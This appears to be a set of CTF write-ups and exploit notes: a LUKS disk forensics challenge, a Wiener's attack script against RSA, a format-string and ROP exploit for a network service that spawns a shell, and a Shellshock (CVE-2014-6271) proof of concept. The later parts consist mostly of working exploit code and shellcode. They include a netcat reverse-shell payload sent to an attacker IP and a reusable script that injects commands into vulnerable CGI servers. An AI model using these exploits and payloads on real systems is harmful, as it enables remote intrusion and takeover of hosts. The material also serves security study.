# NcN CTF 2k14: HIDDENtation (300 points)


Dig deep into the file and find the flag.

# file hiddentation
hiddentation: data
# ./patch.py hiddentation r 0x0 0x280
4c554b73 babe..01 616573.. ........ ........ ........ ........ ........    LUKs .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
....dead ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    .... ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0608 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# ./luks_parser.py hiddentation
[0x0]   magic = 4c554b73babe [LUKs��] != 4c554b53babe [LUKS��]
[0x6]   version = 0001 [1] 
[0x8]   cipher_name = 6165730000000000000000000000000000000000000000000000000000000000 [aes] 
[0x28]  cipher_mode = 6362632d65737369763a73686132353600000000000000000000000000000000 [cbc-essiv:sha256] 
[0x48]  hash_spec = 7368613100000000000000000000000000000000000000000000000000000000 [sha1] 
[0x68]  payload_offset = 00001000 [4096] 
[0x6c]  key_bytes = 00000020 [32] 
[0x70]  mk_digest = 370953898e05800ea2dcc66fb7fa18e9bb134d60 [7 S�����o�� �� M`] 
[0x84]  mk_digest_salt = 8571eeb5f26acbbfc2f5eedc2058c98e7a6b1555c9783ef2e7f1a8b7ab4edd24 [�q���j˿���� XɎzk U�x>��񨷫N�$] 
[0xa4]  mk_digest_iter = 0000e196 [57750] 
[0xa8]  uuid = 37303662376238642d393833322d346665352d386635622d31393439313137613635646400000000 [706b7b8d-9832-4fe5-8f5b-1949117a65dd] 

= Key slot 1 =
[0xd0]  active = 0000dead [57005] == Disabled
[0xd4]  iterations = 00000000 [0] 
[0xd8]  salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0xf8]  key_material_offset = 00000008 [8] 
[0xfc]  stripes = 00000fa0 [4000] 

= Key slot 2 =
[0x100] active = 0000dead [57005] == Disabled
[0x104] iterations = 00000000 [0] 
[0x108] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x128] key_material_offset = 00000008 [8] 
[0x12c] stripes = 00000fa0 [4000] 

= Key slot 3 =
[0x130] active = 0000dead [57005] == Disabled
[0x134] iterations = 00000000 [0] 
[0x138] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x158] key_material_offset = 00000108 [264] 
[0x15c] stripes = 00000fa0 [4000] 

= Key slot 4 =
[0x160] active = 0000dead [57005] == Disabled
[0x164] iterations = 00000000 [0] 
[0x168] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x188] key_material_offset = 00000208 [520] 
[0x18c] stripes = 00000fa0 [4000] 

= Key slot 5 =
[0x190] active = 0000dead [57005] == Disabled
[0x194] iterations = 00000000 [0] 
[0x198] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1b8] key_material_offset = 00000308 [776] 
[0x1bc] stripes = 00000fa0 [4000] 

= Key slot 6 =
[0x1c0] active = 0000dead [57005] == Disabled
[0x1c4] iterations = 00000000 [0] 
[0x1c8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x1e8] key_material_offset = 00000408 [1032] 
[0x1ec] stripes = 00000fa0 [4000] 

= Key slot 7 =
[0x1f0] active = 0000dead [57005] == Disabled
[0x1f4] iterations = 00000000 [0] 
[0x1f8] salt = 0000000000000000000000000000000000000000000000000000000000000000 [] 
[0x218] key_material_offset = 00000508 [1288] 
[0x21c] stripes = 00000fa0 [4000] 

= Key slot 8 =
[0x220] active = 0000dead [57005] == Disabled
[0x224] iterations = 00038765 [231269] 
[0x228] salt = 455d8bc7048b1c9136ba167e21ed6db3bb075becec4fefe9fe7b934d03000a09 [E]�� � �6� ~!�m��[��O���{�M 
 ] 
[0x248] key_material_offset = 00000608 [1544] 
[0x24c] stripes = 00000fa0 [4000]

# cp hiddentation hiddentation.copy

# ./patch.py hiddentation.copy w 0x3 53
# ./patch.py hiddentation.copy w 0x220 00ac71f3
# ./patch.py hiddentation.copy w 0x248 00000708
# ./patch.py hiddentation.copy r 0x0 0x280
4c554b53 babe..01 616573.. ........ ........ ........ ........ ........    LUKS .... aes. .... .... .... .... ....    [0x0]
........ ........ 6362632d 65737369 763a7368 61323536 ........ ........    .... .... cbc- essi v:sh a256 .... ....    [0x20]
........ ........ 73686131 ........ ........ ........ ........ ........    .... .... sha1 .... .... .... .... ....    [0x40]
........ ........ ....10.. ......20 37095389 8e05800e a2dcc66f b7fa18e9    .... .... .... ...  7.S. .... ...o ....    [0x60]
bb134d60 8571eeb5 f26acbbf c2f5eedc 2058c98e 7a6b1555 c9783ef2 e7f1a8b7    ..M` .q.. .j.. ....  X.. zk.U .x>. ....    [0x80]
ab4edd24 ....e196 37303662 37623864 2d393833 322d3466 65352d38 6635622d    .N.$ .... 706b 7b8d -983 2-4f e5-8 f5b-    [0xa0]
31393439 31313761 36356464 ........ ....dead ........ ........ ........    1949 117a 65dd .... .... .... .... ....    [0xc0]
........ ........ ........ ........ ........ ........ ......08 ....0fa0    .... .... .... .... .... .... .... ....    [0xe0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x100]
........ ........ ......08 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x120]
........ ........ ........ ........ ........ ........ ....0108 ....0fa0    .... .... .... .... .... .... .... ....    [0x140]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x160]
........ ........ ....0208 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x180]
........ ........ ........ ........ ........ ........ ....0308 ....0fa0    .... .... .... .... .... .... .... ....    [0x1a0]
....dead ........ ........ ........ ........ ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1c0]
........ ........ ....0408 ....0fa0 ....dead ........ ........ ........    .... .... .... .... .... .... .... ....    [0x1e0]
........ ........ ........ ........ ........ ........ ....0508 ....0fa0    .... .... .... .... .... .... .... ....    [0x200]
..ac71f3 ..038765 455d8bc7 048b1c91 36ba167e 21ed6db3 bb075bec ec4fefe9    ..q. ...e E].. .... 6..~ !.m. ..[. .O..    [0x220]
fe7b934d 03..0a09 ....0708 ....0fa0 54727920 19206d6f 73742063 6f6d6d6f    .{.M .... .... .... Try  . mo st c ommo    [0x240]
6e207061 73737764 20696e20 07dd.... ........ ........ ....07.. ........    n pa sswd  in  .... .... .... .... ....    [0x260]

# file hiddentation.copy
hiddentation.copy: LUKS encrypted file, ver 1 [aes, cbc-essiv:sha256, sha1] UUID: 706b7b8d-9832-4fe5-8f5b-1949117a65dd

# cryptsetup luksDump hiddentation.copy
LUKS header information for hiddentation.copy

Version:        1
Cipher name:    aes
Cipher mode:    cbc-essiv:sha256
Hash spec:      sha1
Payload offset: 4096
MK bits:        256
MK digest:      37 09 53 89 8e 05 80 0e a2 dc c6 6f b7 fa 18 e9 bb 13 4d 60 
MK salt:        85 71 ee b5 f2 6a cb bf c2 f5 ee dc 20 58 c9 8e 
                7a 6b 15 55 c9 78 3e f2 e7 f1 a8 b7 ab 4e dd 24 
MK iterations:  57750
UUID:           706b7b8d-9832-4fe5-8f5b-1949117a65dd

Key Slot 0: DISABLED
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: ENABLED
 Iterations:          231269
 Salt:                45 5d 8b c7 04 8b 1c 91 36 ba 16 7e 21 ed 6d b3 
                        bb 07 5b ec ec 4f ef e9 fe 7b 93 4d 03 00 0a 09 
 Key material offset: 1800
 AF stripes:             4000

# while read password; do echo $password; echo -n $password | cryptsetup open --type luks hiddentation.copy volume --key-file - && break; done <<< "`curl --silent http://whnt.com/2014/01/22/the-25-most-common-passwords-of-2013/ | grep '.  ' | awk '{print $2}'`"
123456
No key available with this passphrase.
password
No key available with this passphrase.
12345678
No key available with this passphrase.
qwerty
No key available with this passphrase.
abc123
No key available with this passphrase.
123456789
No key available with this passphrase.
111111
No key available with this passphrase.
1234567
No key available with this passphrase.
iloveyou
No key available with this passphrase.
adobe123
No key available with this passphrase.
123123
No key available with this passphrase.
admin
No key available with this passphrase.
1234567890
No key available with this passphrase.
letmein
No key available with this passphrase.
photoshop
No key available with this passphrase.
1234
No key available with this passphrase.
monkey
No key available with this passphrase.
shadow

# fdisk -l /dev/mapper/volume

WARNING: GPT (GUID Partition Table) detected on '/dev/mapper/volume'! The util fdisk doesn't support GPT. Use GNU Parted.

Disk /dev/mapper/volume: 97 MB, 97902592 bytes
255 heads, 63 sectors/track, 11 cylinders, total 191216 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000

             Device Boot      Start         End      Blocks   Id  System
/dev/mapper/volume1               1      191215       95607+  ee  GPT

# gparted /dev/mapper/volume
# # offset = 86016 (First sector) * 512 bytes/sector = 44040192
# losetup --offset 44040192 /dev/loop1 /dev/mapper/volume
# mount /dev/loop1 /mnt
# cat /mnt/flag.txt
It's inside this partition, but hidden ;)
# testdisk /dev/loop1
>D HPFS - NTFS                69632     104447      34816
# dd if=/dev/loop1 of=ntfs skip=69632 count=34816
# umount /dev/loop1
# losetup -d /dev/loop1
# losetup /dev/loop1 ntfs
# mount /dev/loop1 /mnt
# cat /mnt/readme.txt 
You are very near, but it's even more hidden!
# umount /dev/loop1
# losetup -d /dev/loop1
# ntfsundelete --scan ntfs
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
...
65       FR..   100%  2014-10-20        74  flag.txt

Files with potentially recoverable content: 1
# ntfsundelete --undelete --match flag.txt ntfs 
Inode    Flags  %age  Date           Size  Filename
---------------------------------------------------------------
65       FR..   100%  2014-10-20        74  flag.txt
Undeleted 'flag.txt' successfully.
Undeleted 'flag.txt:$' successfully.
# cat flag.txt*
You are very very very near!
rot13:APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r

# ./rot.py -m tracks APAq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r 2>&1 | grep -e '\[' -e 13
['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)
(13) NCNq986942o809qnn32n6987n7422771n53s59r5n1s02rq700ppr43p5196non749r
['abcdefghijklmnopqrstuvwxyz'] (26)
(13) APAd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e
['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)
(13) NCNd986942b809daa32a6987a7422771a53f59e5a1f02ed700cce43c5196aba749e

References

http://testpurposes.net/2014/10/31/solucion-hiddentation-final-ctf-ncn-2014/
http://cryptsetup.googlecode.com/svn-history/r42/wiki/LUKS-standard/on-disk-format.pdf

# Wiener's attack against RSA (small values of d)


Wiener has proved that the attacker may efficiently find d when:

d < (N**0.25)/3

# cat wiener_attack.py
#!/usr/bin/python

from sympy.solvers import solve
from sympy import Symbol

def partial_quotiens(x, y):
        pq = []
        while x != 1:
                pq.append(x / y)
                a = y
                b = x % y
                x = a
                y = b
        #print pq
        return pq

def rational(pq):
        i = len(pq) - 1
        num = pq[i]
        denom = 1
        while i > 0:
                i -= 1
                a = (pq[i] * num) + denom
                b = num
                num = a
                denom = b
        #print (num, denom)
return (num, denom)

def convergents(pq):
        c = []
        for i in range(1, len(pq)):
                c.append(rational(pq[0:i]))
        #print c
        return c

def phiN(e, d, k):
        return ((e * d) - 1) / k

# e = 17993
# n = 90581
# wiener_attack(e, n) --> p =  239, q =  379

e = 0x0285f8d4fe29ce11605edf221868937c1b70ae376e34d67f9bb78c29a2d79ca46a60ea02a70fdb40e805b5d854255968b2b1f043963dcd61714ce4fc5c70ecc4d756ad1685d661db39d15a801d1c382ed97a048f0f85d909c811691d3ffe262eb70ccd1fa7dba1aa79139f21c14b3dfe95340491cff3a5a6ae9604329578db9f5bcc192e16aa62f687a8038e60c01518f8ccaa0befe569dadae8e49310a7a3c3bddcf637fc82e5340bef4105b533b6a531895650b2efa337d94c7a76447767b5129a04bcf3cd95bb60f6bfd1a12658530124ad8c6fd71652b8e0eb482fcc475043b410dfc4fe5fbc6bda08ca61244284a4ab5b311bc669df0c753526a79c1a57
n = 0x02aeb637f6152afd4fb3a2dd165aec9d5b45e70d2b82e78a353f7a1751859d196f56cb6d11700195f1069a73d9e5710950b814229ab4c5549383c2c87e0cd97f904748a1302400dc76b42591da17dabaf946aaaf1640f1327af16be45b8830603947a9c3309ca4d6cc9f1a2bcfdacf285fbc2f730e515ae1d93591ccd98f5c4674ec4a5859264700f700a4f4dcf7c3c35bbc579f6ebf80da33c6c11f68655092bbe670d5225b8e571d596fe426db59a6a05aaf77b3917448b2cfbcb3bd647b46772b13133fc68ffabcb3752372b949a3704b8596df4a44f085393ee2bf80f8f393719ed94ab348852f6a5e0c493efa32da5bf601063a033beaf73ba47d8205db

pq = partial_quotiens(e, n)
c = convergents(pq)
x = Symbol('x')
for (k, d) in c:
        if k != 0:
                y = n - phiN(e, d, k) + 1
                roots = solve(x**2 - y*x + n, x)
                if len(roots) == 2:
                        p = roots[0]
                        q = roots[1]
                        if p * q == n:
                                print 'p = ', p
                                print 'q = ', q
                                break
# ./wiener_attack.py
p =  12001304129015480165432875074437607933493850611499879464845243350215176144760883615322622081442653872645865326992384034722586201972392183010813439352778246403016897976571514715418700569567613729681273931557848857971070286176848136118602099586101089743239644367344468295964691411425416652519752140536869089101
q =  28216117316929874067495888027767527011360661622486842768414059951572932145196930641365509243766454218518793508840136548374994021850853203018205749779390383366761851772055038753940967432004901699256177783249460134792699230632136386268348434203012426963129659057781488950062703849444443906614331812260961682887

Reference

http://en.wikipedia.org/wiki/Wiener's_attack

# NcN CTF Quals 2k14: eXPLicit (500 points)


# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
^C
[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit
# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit
# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240
# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64
# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret
# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

# CVE-2014-6271: Bash shellshock


Reverse shell PoC

- Vulnerable server

# a2enmod cgi
# sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf
# service apache2 restart
# cat /usr/lib/cgi-bin/env.sh
#!/bin/bash

echo 'Content-type: text/html'
echo ''

echo '<html>'
echo '<head>'
echo '<title>cve-2014-6271</title>'
echo '</head>'
echo '<body>'
echo '<pre>'

/usr/bin/env

echo '</pre>'
echo '</body>'
echo '</hmtl>'

- Client

# ip="192.168.1.1"
# nc -v --listen $ip --port=1234
# ip="192.168.1.1"
# payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'"
# url="http://192.168.1.2/cgi-bin/env.sh"
# curl --verbose --user-agent "$payload" --referer "$payload" $url
nc: connect to 192.168.1.1 1234 from 192.168.1.2
$

Scripts

# cat cve-2014-6271-cmd
#!/bin/bash

#https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

proto="$1"
host="$2"
port="$3"
path="$4"
cmd="$5"

if [ "$proto" == "https" ]; then
        insecure='--insecure'
else
        insecure=''
fi

url="$proto://$host:$port/$path"

payload="() { :; }; echo -e '\\r\\n'; $cmd 2>&1"

curl $insecure --verbose --user-agent "$payload" --referer "$payload" $url

